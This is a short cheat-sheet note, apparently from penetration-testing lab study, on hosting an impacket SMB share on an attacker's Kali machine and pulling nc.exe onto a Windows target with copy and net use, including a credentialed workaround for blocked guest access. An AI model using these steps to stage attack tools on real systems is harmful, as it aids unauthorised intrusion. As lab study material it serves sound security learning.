Download

SMB Server for file transfer

Notes and commands for SMB Server for file transfer.

2024-03-27
Tags file-transferwindows-filetransferdownloadsmb-server-for-file-transfer

Create an smp server on the attacking machine (f.e. my kali)

  • sudo impacket-smbserver share -smb2support /tmp/smbshare

Copy a file from the windows machine: C:\htb> copy \192.168.220.133\share\nc.exe

Possible Errors

  • new versions of Windows block unauthenticated gust access.

Workaround: create a smb server with username and password

on my kali: -

  • sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

  • mount the smb share:

  • C:\htb> net use n: \\192.168.220.133\share /user:test test

  • copy the file:

  • C:\htb> copy n:\nc.exe